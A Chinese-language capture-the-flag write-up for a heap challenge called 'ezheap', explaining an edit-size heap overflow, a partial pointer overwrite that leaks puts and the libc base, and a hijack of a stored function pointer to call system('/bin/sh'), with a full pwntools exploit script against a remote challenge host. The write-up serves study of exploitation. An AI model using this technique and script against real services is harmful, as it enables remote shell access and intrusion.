
经典的增删改查
我们先看 add 函数

重要的是这几行,先创建一个 0x20 大小的堆块(实际是 0x30)放入heaplist 数组中,类似于管理堆块的数组
v0 是 chuank0 data 段的地址,v0+0x10 中放入新 chunk 的 data 段地址,v0+0x20 存入 puts 函数的真实地址
后续又往 chunk0 和 chunk1 中读入数据
堆块的大致情况入下图

delet 函数

free 后置零没有 uaf 漏洞
edit 函数

重点在这边,修改的 size 大小是我们输入进去的,所以我们可以申请两个 chunk,修改 第一个 chunk 的时候把第二个 chunk 的内容也修改掉。
show 函数

heaplist[v1] + 0x20 的地方就是 puts 函数,这边的本意就是调用 puts 函数输出heaplist[v1]->data 段内容,heaplist[v1] + 0x10->data 和第二个 chunk 中 data 段的内容
目前我们的思路就很清楚了,我们可以先申请两个堆块,然后通过 edit 函数修改第一个堆块时把第二个堆块的内容一并修改掉,让 puts 函数输出 puts 的真实地址,这样我们就获得了 libc 的基地址。

首先我们调用 show 函数的逻辑是使用 puts 函数去输出 name 中的内容

如果我们把 chunk_size 上面的内容都填入 0,chunk_size 修改为第二个 chunk 中 puts 函数存放的地址,也就是 v0+0x20,那么我们现在调用 show 不就是把 puts 函数的真实地址输出出来了吗
首先我们先 add 两个 0x10 的堆(实际大小为 0x20)


我们需要修改0x00005cbfc5387320 中后两位就可以修改到存放 puts 地址的位置,这边图片显示的是 20 修改到 10,但是实际测试的过程中是需要修改到 80
第一段 payload 就是通过 chunk0 修改到 chunk1 的内容
1 2 3 4
| add(0,0x10,b"name",b"aaaa") add(1,0x10,b"name",b"bbbb") payload1=p64(0)*3+p64(0x31)+p64(0)*2+p8(0x80) edit(0,0x31,payload1)
|

此时我们已经成功修改到了
此时调用 show(1)即可输出 puts 的真实地址,通过 puts 地址算出 libc 基地址,后续通过 chunk0 修改到 chunk1 中 puts 函数为 system 函数,将 chunk1 中 name 部分覆盖为/bin/sh\x00,此时再调用 show(1)就是 system(“/bin/sh\x00”)
远程测试后发现修改指向 puts 地址的位置,后两位是需要修改为 80 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * from LibcSearcher import * misaki=1 if misaki: context(log_level='debug',arch='amd64',os='linux') else: context(log_level='debug',arch='i386',os='linux') ming=1 if ming: p=remote('node5.anna.nssctf.cn',22003) else: p=process("./ezheap")
def s(a): p.send(a) def sl(a): p.sendline(a) def sa(a,b): p.sendafter(a,b) def sla(a,b): p.sendlineafter(a,b) def r(): p.recv() def rl(a): return p.recvuntil(a) def m(): gdb.attach(p)
def choice(idx): sla(b"Choice: ",str(idx))
def add(idx,size,name,content): choice(1) sla(b"Input your idx:",str(idx)) sla(b"Size:",str(size)) sla(b"Name: ",name) sla(b"Content:",content)
def edit(idx,size,content): choice(4) sla(b"Input your idx:",str(idx)) sla(b"Size:",str(size)) s(content)
def delete(idx): choice(2) sla(b"Input your idx:",str(idx))
def show(idx): choice(3) sla(b"Input your idx:",str(idx))
libc=ELF("libc-2.23.so") add(0,0x10,b"name",b"aaaa") add(1,0x10,b"name",b"bbbb")
payload1=p64(0)*3+p64(0x31)+p64(0)*2+p8(0x80) edit(0,0x31,payload1)
show(1)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(f"puts_addr=",hex(puts)) libcbase=puts-libc.sym['puts'] system_addr=libcbase+libc.sym['system'] print(f"libcbase=",hex(libcbase))
payload2=p64(0)*3+p64(0x31)+b"/bin/sh\x00"+p64(0)*3+p64(system_addr) edit(0,0x48,payload2)
show(1)
p.interactive()
|